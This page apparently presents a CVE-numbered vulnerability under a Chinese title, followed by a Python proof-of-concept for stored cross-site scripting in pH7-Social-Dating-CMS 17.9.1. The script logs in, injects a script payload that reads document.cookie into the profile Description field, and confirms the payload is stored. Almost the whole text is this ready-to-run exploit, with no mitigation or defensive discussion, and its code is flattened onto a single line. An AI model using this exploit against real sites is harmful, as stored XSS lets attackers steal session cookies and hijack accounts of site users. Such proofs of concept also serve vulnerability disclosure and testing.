CVE-2025-63644 pH7-Social-Dating-CMS存储型XSS漏洞

import requests import re # CVE-2025-63644 PoC - Stored XSS in pH7-Social-Dating-CMS Description field # Target: pH7-Social-Dating-CMS 17.9.1 TARGET_URL = "http://target-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" # Malicious XSS payload XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def login(): """Authenticate and obtain session cookies""" session = requests.Session() login_url = f"{TARGET_URL}/user/login" data = {"username": USERNAME, "password": PASSWORD} resp = session.post(login_url, data=data) return session if "success" in resp.text else None def inject_xss(session): """Inject XSS payload into user profile Description field""" profile_url = f"{TARGET_URL}/user/profile/edit" data = {"description": XSS_PAYLOAD} resp = session.post(profile_url, data=data) return "success" in resp.text def verify_xss(session): """Verify XSS payload is stored and reflected""" profile_url = f"{TARGET_URL}/user/profile/{USERNAME}" resp = session.get(profile_url) return XSS_PAYLOAD in resp.text # Execute PoC session = login() if session and inject_xss(session) and verify_xss(session): print("[+] XSS payload successfully injected!") print(f"[+] Target profile: {TARGET_URL}/user/profile/{USERNAME}")